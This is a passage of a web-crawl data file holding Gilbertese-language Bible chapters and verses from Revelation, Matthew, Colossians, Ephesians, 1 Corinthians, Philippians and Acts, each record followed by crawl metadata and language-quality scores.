Kristian; ao ngkana ko aki, ao ae N na nako im, ao N na uota nako am kain-tei n taura mani nena. 6Ma iai arom aei: ko ribaai aia m'akuri raon Nikorao, ake m'akuri ake I ribaai naba. 7\"Ane iai taningana n ongo, ao ke e ongo ana taeka te Tamnei \"Ane tokanikai ao N na anganna te am'arake man te kai ni maiu are mena n ana B'aretaiti te Atua. 8\"Ao ko na koroboki nakon ana anera te ekaretia are i Temurena ni kaangai: \"Aio ana taeka Teuare bon te Moa ao te Toki, are E a tia ni mate, ao E a manga uti: 9I ata rawawatam ma aki-kaub'aim; ma ko boni kaub'ai! I ata taetaebuakaam irouia ake a taku b'a I-Iutaia ngaiia, ao bon tiaki, ma bon ana botaki n aomata Tatan! 10Ko na tai makui baika ko nangi maraki iai; noria, ane e nang kaakiia tabem'aang i buakomi te riaboro i nanon te karabuuti, b'a kam aonga ni kataaki iai, ao tengaun ami bong ni maraki iai. Ko na kakaonimaki ni karokoa matem, ao N na anganiko te bau are te maiu. 11\"Ane iai taningana ao ke e ongo ana taeka te Tamnei \"Ane tokanikai ao e na bon aki kamarakaki n te mate are te kauoua. 12\"Ao ko na koroboki nakon ana anera te ekaretia are i Berekamo ni kaangai: \"E kaangai Teuare iai i rouna te kabaang are kakang, ae uaitera wina, 13I ata ike ko mena iai, ike e mena iai ana kaintokanuea Tatan: ko kakaonimaki nako iu, ao ko aki kaaki arom n onimakinai n te tai are e kamateaki iai Antib'ati are au tia kaotioti are kakaonimaki, are kamateaki i buakomi, ike e maeka iai Tatan. 14Ma iai b'aai tabeua aika I riai ni waeiko iai: b'a iai i roum ikekei aika toua mwin ana reirei B'araam, are reireia B'araka b'a e na kaaki te b'ai ni kab'akab'aka i mataia te botannaomata ae Iteraera b'a a aonga ni kang kareani bouananti, ma ni wene ni bure. 15Ao bon iai naba i roum tem'angina ake a tou mwin aia reirei te koraki ake raon Nikorao n te aro naba anne. 16Ma ngaia ae ko na raira nanom; ao ngkana ko aki, ao ae N na waetata n nako im, ao N na buakaniia n te kabaang are oti nako mai wiiu. 17\"Ane iai taningana n ongo ao ke e ongo ana taeka te Tamnei \"Ane tokanikai ao I a anganna te maana are raba, ao N na anganna te atibu ae mainaina ma te ara ae boou ae koreaki i aona, ae te ara ae akea temanna ae ataia b'a ti ane anganaki. 18\"Ao ko na koroboki nakon ana anera te ekaretia are i Tuateira ni kaangai: \"E kaangai Natin te Atua, are iai matana aika ai aron uran te ai, ma waena aika ai aron te buraati ae raneanea: 19I atai aroarom ni kabane ma am tangira, ma am onimaki, ma akoan te aba i roum, ma nanom'akam, ma am m'akuri ake ko a tib'a karaoi rimwi b'a a m'aiti riki nakon ake rimoa. 20Ma iai te b'ai ae N na waeiko iai: b'a ko aki tuka te aine are Ietebera, are taku b'a te burabeti ngaia; ao e reireiia ni burebureia au toro b'a a na wene ni bure, ma ni kang kareani bouananti; 21ao I anganna ana tai are e na raira nanona iai man arona ni wene ni bure, ma e rawa ni kan rairaki man arona ni wene ni bure. 22Noria, N na kaaoraka neierei, ao uake a wene ni bure ma ngaia, N na karawawataia n te aro ae korakora, ngkana a aki rairi nanoia ni kitan aia m'akuri ake a karaoi ma neierei; 23ao N na kamateia natin neierei, ao ane a na bane ekaretia n ataai b'a te tia tirotiroi naano ma iango aika raba Ngai; ao N na anganingkami n tatabemaningkami nako booni mwin ami m'akuri. 24\"Ma ngkami, akana nikiraia ami koraki i Tuateira, akana kam aki toua mwin te reirei ae buakaka aei, akana kam aki atai baikana a atongaki irouia tem'angina b'a ana b'ai Tatan aika nano, I aki kani kaaki riki te rawawata teuana i aomi. 25Ma kam na taua ane iroumi ni karokoai. 26Ao ane tokanikai, ma ni karaoi baike I tuangnga b'a e na karaoi ni karokoa te toki, ao N na anganna te m'aaka n tauu taekaia botannaomata; 27ao N na anganna te m'aaka are ti te bo ma are I anganaki mairoun Tamau, ao e na tauu taekaia ni kairiia ma te matoa, ao a na uruaki n ai aroni m'angko aika karaoaki man te bokaboka; 28ao N na anganna te itoi ni ngaina. 29\"Ane iai taningana ao ke e ongo ana taeka te Tamnei\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/2","date":"2016-06-01T07:52:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464056639771.99\/warc\/CC-MAIN-20160524022359-00111-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":948,"character_repetition_ratio":0.061,"word_repetition_ratio":0.033,"special_characters_ratio":0.248,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E a tia Iesu ni kabanea ana taeka ni mwioko nakoia ana reirei ake tengauni ma uoman, ao E nako maikekei b'a E na reirei, ao b'a E na kab'arab'ara n aia kawa nako. 2Ngke e kainaki Ioane n te karabuuti, ao e ongo taekan ana m'akuri te Kristo; ao e kanakoia ana reirei b'a a na kangai nako Ina, 3\"Ngkoe Teuare nangi roko, ke ti na kaantaninga riki temanna?\" 4Ao E kaekaia Iesu ni kangai, \"Naako tuanga Ioane baika kam ongo ma n nori: 5a noraba mataki, a nakonako m'auku, a kamaiuaki rebera, a uki taningaia taningabono, a manga maiu maate, ao a ongo taekan te euangkerio aomata ake a aki kaub'ai. 6Ao e a kab'aia ane aki tarai baika I karaoi b'a te kanganga nakon ana onimaki.\" 7Ngke a nako uakekei, ao E taetae Iesu nakoia aomata i bukin Ioane, ni kangai, \"Tera are kam nako iai nakon te rereua b'a kam na noria? Te uteute ae m'aeiei n te ang? 8Ao tera ngkanne bukin are kam nako iai? Kam na nora te aomata ae kunnikaia n te kunnikai ae tikiraoi? Noria, a mena n aia auti uea aomata aika kunnikaiia ni kunnikai aika tikiraoi. 9Tera ngkanne bukin are kam nako iai? Kam na nora te burabeti? Eng, I tuangngkami b'a e moamoa riki arona nakon te burabeti. 10Bon Ioane are e koreaki taekana ni kangai: 'Noria, I kanakoa au tia ua-rongorongo n rimoam, are e na katauraoa kawaim i m'aim.' 11E koaua ae I a tuangngkami b'a e tuai ni kaoti temanna ae kakannato riki nakon Ioane are te tia B'abetito i buakoia akana bungiaki irouia aine; ma ane moan te mangori n Uean te Atua, ao boni ngaia ae kakannato riki nako ina. 12Man ana tai ni m'akuri Ioane ni karokoa ngkai, ao e aki toki n ekakinako Uean te Atua; ao aomata aika iowawa a tia ni kataia n taua ma te matoa. 13B'a a bane burabeti ma te Tua ni karokoa Ioane n taekini b'aai aika na riki. 14Ao ngkana kam kani kaki i nanomi, ao bon Eria are nangi roko teuarei. 15Ane iai taningana n ongo ao ke e ongo. 16\"Ma tera ae N na kabotauia iai aomata n te roro aei ma ngaia? Ti te bo ma ataei ngaiia ake a tekateka n taabo ni m'akete ao a weweteia raoia n takakaro, ao a kangai, 17'Ti katangitang nako imi, ao kam aki b'atere; ti tanginiwenei ao kam aki tang!' 18B'a e roko Ioane n aki am'am'arake ma n aki momooi, ao a kangai aomata, Iai i rouna te taimonio.\" 19E roko Natin te aomata n am'am'arake ma ni momooi, ao a kangai, Noria, te aomata ae buabeka ao te tia korowawa ni mamanging; raoraoia taan anai taekiti ma aomata aika buakaka. Ma e ngae n anne, ao rabakaun te Atua e a kaotaki b'a e koaua n uaana. 20Ao E ekinakoia ngkanne kaaini kaawa ake a karaoaki iai ana m'akuri aika kamimii, b'a a aki rairi nanoia; 21ao E kangai, \"A na reke kaimi kaaini Koratin! A na reke kaimi kaaini Betetaita! B'a ngke arona b'a a tia ni karaoaki m'akuri aika kamimii i Turo ao i Titon, ake m'akuri ake a karaoaki i Koratin ao i Betetaita, ao kaain Turo ma Titon a na kamani karin i aoia kunnikai ake a b'ab'ainaki n tain te rawawata, ma ni kabiri mataia ni mannang b'a kaotan rairan nanoia. 22Ma I taku nako imi, b'a e na bebete riki te rekenikai are e na reke nakoia I-Turo ma I-Titon nakon are e na reke nako imi n te bongi ni motikitaeka. 23Ao ngkami aika kaaini Kaberenaum, kam taku b'a kam na tabekaki rake nako karawa? Kam na teweaki nako nako Eriti! B'a ngke arona b'a a karaoaki i Totom m'akuri aika kamimii aika karaoaki i Kaberenaum, ao e na bon aki mauna ni karokoa te bong aei. 24Ma I taku nako imi, b'a e na bebete riki te rekenikai are e na reke nakoia I-Totom nakon are e na reke nako imi n te bongi ni motikitaeka.\" 25Ao ni boong akekei, ao E taetae Iesu ni kangai, I karab'ako, Tamau, ae Ueani karawa ma aonnaba, b'a Ko karabai baikai nakoia akana rabakau ma akana wanawana, ao Ko kaoti nakoia merimeri. 26Eng, Tamau, b'a aei aron nanom n akoi. 27\"I anganaki b'aai ni kabane iroun Tamau; ao akea ae ata te Nati, ma ti te Tama ae ataia; ao akea ae ata te Tama, ma ti te Nati ae ataia, ao ane E kani kaotia te Nati nako ina. 28\"Bane mai nako Iu, ngkami akana kam kua ao kam rawawata, ao N na motiki rawami. 29Amoa amou i aomi, ao reirei i Rou: b'a I nimamannei ao I nanorinano, ao e na reke i roumi karauan nanomi ni koaua. 30B'a e aoraoi amou, ao e bebete uotau.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/11","date":"2016-05-28T16:31:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278042.30\/warc\/CC-MAIN-20160524002118-00158-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":804,"character_repetition_ratio":0.048,"word_repetition_ratio":0.035,"special_characters_ratio":0.249,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tooka, kam na karaoa ae riai ao ae eti n aromi nakoia ami toro; ngkai kam ataia b'a bon iai ami Toka i karawa. 2Kam na tai toki n tatataro, ao kam na kamarurungngkami iai ni katituaraoi; 3ao kam na tataro naba i bukira, b'a E na karekea nako ira te anga are ti na kona iai n taekina te rongorongo are taekan te baere raba are taekani Kristo, are ngaia, are I kabaeaki iai i bukina; 4b'a I aonga ni kaotia n te aro ae riai b'a N na taetae iai. 5Kam na nakonako ma te wanawana i mataia akana tuai n onimaki, ni kamanenai raoi ami tai. 6A na tangiraoi ami taeka n taai nako, ma ni kakan ongora; ao kam riai n ata te kaeka ae riai nakon temanna ma temanna. 7E na kaongoraingkami n arou nako Tukiko, ae te tari ae tangiraki, ae te tia m'akuri ae kakaonimaki, ae raou naba n toro iroun te UEA. 8Ao I kanakoa nako imi i bukin aei, b'a kam na atai arora; ao e na kaungai nanomi. 9Raona ni m'ananga bon Onetimo, ae te tari ae kakaonimaki ae tangiraki, ae bon raomi. A na kaongoraingkami b'aai ni kabane aika karaoaki ikai. 10E kamauringkami Arititareko ae raou ni kabaeaki, ma Mareko ae ai tarini B'arenaba (are kam a tia n anganaki te kaetieti i bukina, b'a ngkana e roko i roumi ao kam na m'aneia n akoia). 11E kamauringkami naba Iesu, are arana teuana Iouteto. Bon ti ngaiia kaain te kaitiakaki aika raou ni m'akuri i bukin uean te Atua. A riki nako iu b'a kaungaan nanou. 12E kamauringkami Eb'abera, ae raomi, ae ana toro Kristo Iesu, ae e aki toki ni kakorakora n tatataro i bukimi b'a kam aonga n ata raoi te bae E tangiringkami iai te Atua b'a kam na karaoia, ao b'a kam na kabanea ni karaoia. 13B'a I kakoauaa b'a e bati ana m'akuri i bukimi, ao i bukiia naba ake a mena i Raorikeia ao i Ierabori. 14E kamauringkami Ruka, ae te taokita ae tangiraki, ma Tema. 15Kam na anga ara kamauri nakoia taari ake i Raorikeia, ao nakon Nei Numb'a, ma te ekaretia are a bobotaki kaaina i nanon ana auti. 16Ao ngkana e a tia ni warekaki te reta aei i buakomi, ao kam na karekea ae e na manga warekaki naba n te ekaretia i Raorikeia; ao kam na wareka naba te reta are e na reke i roumi mai Raorikeia. 17Ao kam na kangai nakon Arekibo, \"Ko na tarataraa am m'akuri are ko anganaki i bukin te UEA, b'a ko na katia karaoana.\" 18I a koroi taeka aikai n oin tabonibaiu: Kam na mauri mairouni B'auro. Kam na ururing kabaeau! E na mena te akoaki i roumi.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Col\/4","date":"2016-05-26T01:02:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275429.29\/warc\/CC-MAIN-20160524002115-00023-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":458,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ataei, ngkai kam reitaki ma te UEA; ao kam na ongotaeka irouia ami karo, b'a e riai aei. 2\"Ko na karinea tamam ma tinam\" bon aei te moa n tua ae raonaki n te taeka n akoi ae kaangai: 3\"b'a ko aonga ni kab'aia, ao e aonga ni maan am tai ni maiu i aon te aba.\" 4Ao ngkami taama, tai kauniia natimi: ma kam na tongaiia ma ni kairiia i aan te reireiaki ma te tuatuangaki aroia aika riai n ai aron nanon te UEA. 5Ao ngkami tooro, kam na ongotaeka irouia ami toka aika aomata, n ruru ni maku, ao karaoia ma te nano ni koaua, n ai aromi n ongotaeka irouni Kristo. 6Kam na karaoia tiaki i bukina ngke kam kani kakukureia ngke a taraingkami; ma kam na karaoia n ai aroia ana toro Kristo aika karaoa nanon te Atua ma nanoia ni koaua. 7Kam na karaoa ami m'akuri n toro ma te nanoraoi, b'a kanga ai aron ae kam toro iroun te UEA ma tiaki irouia aomata. 8Kam bon ataia b'a e na reke nakon temanna ma temanna boona mairoun te UEA n te m'akuri ae e raoiroi are e karaoia, n aki warekaki b'a te toro ngaia ke te inaomata. 9Ao ngkami tooka, kam na karaoi baikai naba nakoia, ao tai kakamakuia; ngkai kam ata aia Toka, are ami Toka naba, b'a E mena i karawa, ao akea ae E nanoniia irouia aomata. 10Te kabanea: kam na korakora i nanon te UEA, ao ni korakorani m'aakana. 11Kam na karini b'aini buaka nako ake mairoun te Atua aika b'aini kamanoan rab'atami, b'a kam aonga ni kona n tei ni kaitarai aron te riaboro ni wanawana aika bureburea te aba. 12B'a ti aki buaka ma aomata, ma ti buaka ma uea, ma ake a korakora, ma taan tauu taekan aonnaba aika taan taua aron te roo aei, ma taian tamnei aika buakaka ake i aani karawa. 13Ma ngaia ae kam na karini b'aini kamanoan rab'atami ake mairoun te Atua, b'a kam aonga ni kona n tei ni kaitaraia n te bong ae buakaka; ao ngkana kam a tia ni karaoi b'aai ni kabane, ao kam na bon aki konaaki. 14Ma ngaia ae kam na tei, ao kam na kabae nuukami n te koaua, ao kam na katokaa te taanga are karaoan nanon te Atua, 15ao kauniwaeningkami n te tauraoi n taekina euangkerion te raoi. 16Kam na uouota n taai nako te otanga are te onimaki, are kam kona iai ni kabane n tiring taian ai ake a ura i tabon ana kai ni bakarere teuare buakaka. 17Ao kam na uouota naba te barengaru are te maiu, ma ana kabaang te Tamnei, ae ana taeka te Atua. 18Ao kam na tataro n aki toki n taian tataro ni kabane ma bubuti, n ai aroni kairami iroun te Tamnei; ao kam na kamarurungngkami nako iai, ma n aki b'ara n nano, ni bubuti i bukiia ake a itiaki ni kabaneia, 19ao i buku naba; b'a I aonga n anganaki te taetae, b'a N na kaurea wiiu n aki mamaku, ni kaota te baere raba are n te euangkerio, 20are te tia taetae ngai i bukina ae I kabaeaki iai n te taurekereke; b'a I aonga n taekinna n aki mamaku, n te aro ae riai b'a N na taekinna iai. 21Tukiko, ae te tari ae tangiraki, ae te tia m'akuri ae kakaonimaki i bukin te UEA, e na kaongoraingkami b'aai ni kabane, b'a kam aonga naba n atai taekau ma arou b'a I uara: 22b'a anne bukin ae I kanakoa iai nakoimi, b'a kam na atai arora, ao e na karau nanomi. 23E bia reke te rau, ma te tangira, ma te onimaki irouia taari mairoun te Atua are te Tama ma te UEA are Iesu Kristo. 24E na mena te akoaki irouia aomata ni kabaneia ake a tangira ara UEA are Iesu Kristo n te tangira ae akea tokina.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/6","date":"2016-05-25T07:39:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274191.57\/warc\/CC-MAIN-20160524002114-00234-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":652,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24Ma ngkana tao a bane n taetae ni burabeti ao e rin temanna ae aki onimaki ke temanna ae kan rin n te ekaretia ma e tuai n rin, ao e na namakinna b'a bon te tia bure ngaia, n ongorana ni b'aai ni kabane ake a taekinaki, ao e na motikaki naba taekana iai;\n1 KORINTO 14:24\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/24","date":"2016-05-25T01:38:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274059.91\/warc\/CC-MAIN-20160524002114-00003-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":60,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BIRIBI 2:1616n aromi n taua ni kamatoa taekan te maiu. Ma ngaia ae ngkana e roko ana bong te UEA, ao N na boni kim'areirei iroumi, ngkai e aki matebuaka au kekeiaki ma au m'akuri. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/16","date":"2016-05-31T22:11:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464053209501.44\/warc\/CC-MAIN-20160524012649-00007-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9997295737,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.999729573726654}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora te nira ni boki i atain Teuare tekateka i aon te kaintokanuea. Iai te koroboki i nanona ao i akuuna, ao e kanim'aki ni kanim ake kanikina aika itiua b'a e na aki uki. 2Ao I nora te anera ae korakora ae taetae n te b'ana ae korakora ni kaangai, \"Antai ae riai ni kauka te nira ni boki ma ni kaaki b'aini kanim'ana ake kanikina?\" 3Ao bon akea temanna i karawa, ke i aonnaba, ke i aantano, ae e kona ni kauka te nira ni boki ma n tarataraia. 4Ao I bati n tang i bukina b'a e aki kuneaki temanna ae riai ni kauka te nira ni boki ma n tarataraia. 5Ao e kaangai temanna mai buakoia unimm'aane akekei nako iu, \"Tai tang; noria, E tokanikai te Raian are riki man te baronga are Iuta: te Raian aei boni kanoan ana kariki Tawita, ao E kona n urui kanim ake kanikina ake itiua ake e kanim'aki iai te nira ni boki.\" 6Ao I nora te Tiibuteteei n tei i nukan te kaintokanuea ma baike a maiu ake aman, ma unimm'aane akekei: E tara n ae E a tia ni kamateaki te Tiibuteteei arei, ao itiai korona, ao itiua matana, ake tamnei ake mairoun te Atua, ake a a tia ni kanakoaki nako aon aaba ni bane. 7Ao E nako n anaa te nira ni boki mai atain Teuare tekateka i aon te kaintokanuea. 8Ao ngke E anaa te nira ni boki, ao baike a maiu ake aman, a katorobubua ni bobaraaki i matan te Tiibuteteei, ao a toa baiia n te b'ai ni katangitang ae te aabi ae te koora, ma taiani boora aika koora naba; a on baikai ni b'aai aika boiarara, ake aia tataro aomata ake a itiaki. 9Ao a anene n te anene ae boou, ao a anene ni kaangai, \"Ko riai n anaa te nira ni boki ma ni kanakoi b'aini kanim'ana ake kanikina. B'a Ko kamateaki; ao Ko kamaiuia aomata n raraam b'a ana b'ai te Atua mai buakoia baronga nako, ma reeti n aomata nako, ma aomata nako aika a kakaokoro aia taetae, 10ao Ko karaoia b'a ana ibonga te Atua n ueana; ao a na uea i aonnaba.\" 11Ao I taratara nako ao I ongo b'anaaia anera aika bati aika katobibia te kaintokanuea ma b'anaaia baike a maiu ma unimm'aane; ao m'aitin te koraki arei tebubua te mirion ao nga ma nga; 12ao a kaangai n te b'anaa ae korakora, \"E riai te Tiibuteteei are kamateaki n anganaki te m'aaka, ma te kaub'ai, ma te rabakau, ma te korakora, ma te karineaki, ma te neboaki, ma te karaoiroaki!\" 13Ao I ongo b'anaani baika karikaki ni kabane ake i karawa, ao i aonnaba, ao i aantano, ao ake i marawa, ma baike i nanoia ni kabane, b'a a kaangai: \"Ana b'ai te Tiibuteteei ma Teuare tekateka i aon te kaintokanuea te karaoiroaki, ma te karineaki, ma te neboaki, ma te tautaeka, n aki totoki!\" 14Ao baike a maiu ake aman a kaangai, \"Amen!\" Ao unimm'aane a katorobubua ni bobaraaki ao a taromauri.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/5","date":"2016-05-31T22:27:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464053209501.44\/warc\/CC-MAIN-20160524012649-00114-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":514,"character_repetition_ratio":0.088,"word_repetition_ratio":0.004,"special_characters_ratio":0.244,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a roko ara tai ni kitaniia ao ti borau ni kaeta Koti, ao ti roko iai; ao ngke e a ingabong ao ti roko i Roriti, ao ti kitanna n nako Batara. 2Ti nora iai te kaibuke tewaana are na nako Boinike; ma ngaia are ti toka iai ao ti borau. 3Ngke e ria Kubero, ao ti kitanna n ri maiakina ni borau nako Turia, ao ti aerake i Turo: b'a a kaerakeaki iai kaako. 4Ti kuneia aomata aika onimakina Iesu i Turo, ma ngaia are ti tiku iai itibong; ao a tuanga B'auro, n aron tuangaia iroun te Tamnei are Raoiroi, b'a e na aki waerake nako Ierutarem. 5Ao ngke a bane ara bong i Turo, ao ti m'ananga n nako. A bakaborauira te koraki arei ma buuia ma natiia nako tinanikun te kaawa; ao ti katorobubua i aon te bike, ao ti tataro. 6Ti kabo ngkanne ma ngaiia, ao ti toka i aon te kaibuke; ao ngaiia a okiri mwengaia. 7E roko n tokina m'anangara mai Turo ngke ti roko i Betoremai, ike ti kamauriia iai taari, ao ti tiku i rouia te bongina. 8Ao n te bong are i mwina, ti nako ao ti roko i Kaitareia; ti rin n ana auti Biribo are te tia tataekina te euangkerio, are temanna i buakoia uake itiman ngkoa; ao ti tiku i rouna. 9Iai aman natina aine aika tuai n iein, aika tataetae ni burabeti. 10Ao ngke ti tiku ikekei tabebong, ao e wairio te burabeti temanna mai Iutaia, ae arana Akabo. 11Ngke e roko iroura, ao e anaa kabaean nuukani B'auro, ao e kabae baina ma waena i bon i rouna iai, ao e taku, \"Aikai ana taeka te Tamnei are Raoiroi, Ane a na kabaea te aomata ae ana b'ai te kabaea n nuuka aei I-Iutaia ake i Ierutarem, ao a na anga nako nanoni baiia aomata aika tiaki I-Iutaia.\" 12Ngke ti ongo taeka akanne ao ti kabanea ara bubuti nakoni B'auro, ngaira ma aomata n te tabo arei, b'a e na aki waerake nako Ierutarem. 13E taku ngkanne B'auro nakoia, \"Tera ae kam karaoia ngkai kam katumaua te tang, ma n urua nanou? B'a I a tauraoi nakon tiaki ti te kabaeaki, ma nakon naba te mate i Ierutarem i bukin aran te UEA are Iesu.\" 14Ao ngke e aki iri nanora B'auro, ao ti aki manga karongoa i mwin are ti kaangai, \"E na tauaki ana taeka te UEA.\" 15Ao i mwini boong akekei, ngke ti a tauraoi, ao ti a waerake nako Ierutarem. 16A irira tabem'aang mai buakoia reirei ake i Kaitareia, ao a kaira temanna ae M'anaton ae te I-Kubero, ae te reirei nikawai, are ti na maeka i rouna. 17Ao ngke ti roko i Ierutarem, ao ti m'aneaki n akoaki ma te kukurei irouia taari ake a mena iai. 18N te bong are i mwina ao ti airi ma B'auro n nako ni kawara Iakobo; ao a bane n roko unimm'aane iai. 19Ngke e tia ni kamauriia B'auro, ao e a karakina ngkanne taekan te b'ai teuana i mwin teuana ni baike E karaoi te Atua ri nanon ana m'akuri ni mitinare i buakoia aomata aika tiaki I-Iutaia. 20Ao ngke a ongo, ao a karaoiroa te Atua, ao a taku nakoina, Tarira, ko noria b'a nga ma nga I-Iutaia aika tia n rairaki, aika a rangi ni korakora nanoia n tangira te Tua. 21Ao a tia ni kaongoaki taekam b'a ko reireiia I-Iutaia ni kabaneia ake a maeka i tinanikun Iuta b'a a na kaaki taekan ana Tua Mote, ao ko tuangiia b'a a na aki korotabonim'aneaki aia ataei, ao a na aki iri nanon aia katei. 22Tera ngkanne ae e riai ni karaoaki? Ane a na bon ongo ae ko a roko. 23Ma ngaia are, aei te bae ti na tuangko b'a ko na karaoia, Aman te aomata iroura aika bae n aia taeka ni bau teuana. 24Ko na kairiia ni kaitiakiko ma ngaiia, ao ko na kab'akai booni karea i bukiia, b'a a aonga ni korobuatauia; ao ane a na bane n ataia iai aomata b'a akea koauan taekam ake a tia n tuangaki, ma ko bon nakonako naba i nanoni kawakinan te Tua. 25Ma ti a tia ni korea ara reta nakoia aomata ake tiaki I-Iutaia, ake a tia n onimaki, ni kaota ara baire b'a a na kawakinia mani kanakin am'arake ake a tia ni kareanaki nakoni bouananti; ao a na kawakinia naba man te kangi raraa, ao mani kanakiia maan aika mate b'a a koonaki roroaia, ao man te wene ni bure. 26E anaiia ngkanne aomata akekei B'auro, ao n te bong are i mwina, ngke e tia ni kaitiakia ma ngaiia, ao e rin n te Tembora n anga taekani kaitiakaia b'a te bongi ra are e na toki iai, are a na bane naba iai n anga karea i bukin temanna ma temanna irouia uakekei. 27Ngke a kani koro boong ake itibong, ao a nora B'auro I-Iutaia ake kaain Atia i nanon te Tembora. A kakiriweia aomata ni kabaneia, ao a taua B'auro. 28Ao a takarua ni kaangai, \"Mm'aane aika Iteraera, buokira! Aio te aomata are reireiia aomata n taabo nako b'a a na ekianako nako ara aomata aika Iteraera, ma te Tua, ma te tabo aei; ao e kairiia naba I-Erene ni kariniia n te Tembora, ao e kam'araea te tabo ae tabu aei!\" 29B'a a kaman nora Terobimo are te I-Ebeto b'a raoni B'auro i nanon te kaawa, ao a taku i nanoia b'a e a tia B'auro ni kairiia nako nanon te Tembora. 30A bane ni kiriwe kaain te kaawa, ao a biri ni botaki aomata ao a taua B'auro ni katikia nako mai nanon te Tembora; ao a bonotaki naba ngkekei mataroa. 31Ngke a iangoia b'a a na kamatea, ao e roko te rongorongo irouni mataniwin te taanga ni buaka, b'a e kiriwe aon Ierutarem. 32Ao ngaia e a kairiia ngkekei naba tautia ma mataniwi n taanga ni buaka ake kaka tebubua kaaia, ao a biri rio nakoia aomata; ao ngaiia, ngke a nora aia mataniwi tautia ma tautia, ao a katoka oreani B'auro. 33E kaniia B'auro ngkanne teuare aia mataniwi tautia n taua, ao e tua b'a e na kabaeaki n taurekereke aika uaai. E titiraki ngkanne ao e taku, \"Antai teuaei, ao tera ae e karaoia?\" 34A takaruaea te b'ai teuana tem'angina i buakon te koraki arei, ao tem'angina te b'ai teuana; ma ngaia are ngke e aki kona n ata te koaua i bukini mangaoia aomata, ao e tua b'a e na kairaki B'auro nakoni neia tautia are matoatoa. 35Ngke e roko i aon te tabo n nakonako ni waerake, ao e a uotaki ngkanne irouia tautia i bukin iowawaia aomata. 36B'a a iriia aomata aika bati n rimwiia, ao a takarua ni kaangai, \"Kamatea!\" 37Ngke e nang kairaki ni karinaki B'auro i nanoni neia tautia are matoatoa, ao e taku nakon aia mataniwi tautia, \"E kariaiaki b'a N na taetae nako im, ke e aki?\" \"Ao ngaia e kaangai, Ko rabakau n taetae n Erene?\" 38\"Tiaki te I-Aikubita arei ngkoe, are kateirakea te kiriwe i nanon taai aika b'aka nako, ao e kairiia angaa te aomata aika taan tiritiri n te biti nakon te rereua?\" 39Ao e taku B'auro, \"Te aomata ae te I-Iutaia ngai, ae te I-Tareto are i Kirikia, ae kaain te kaawa ae aki mangori; I butiiko b'a ko na kariaia b'a N na taetae nakoia aomata.\" 40Ao ngke e kariaia, ao e tei B'auro n te tabo n nakonako ni waerake, ao e taotaona baina nakoia aomata. Ngke ai bon akea naba teutana te karongoa, ao e taetae nakoia n te taetae n Ebera, ao e 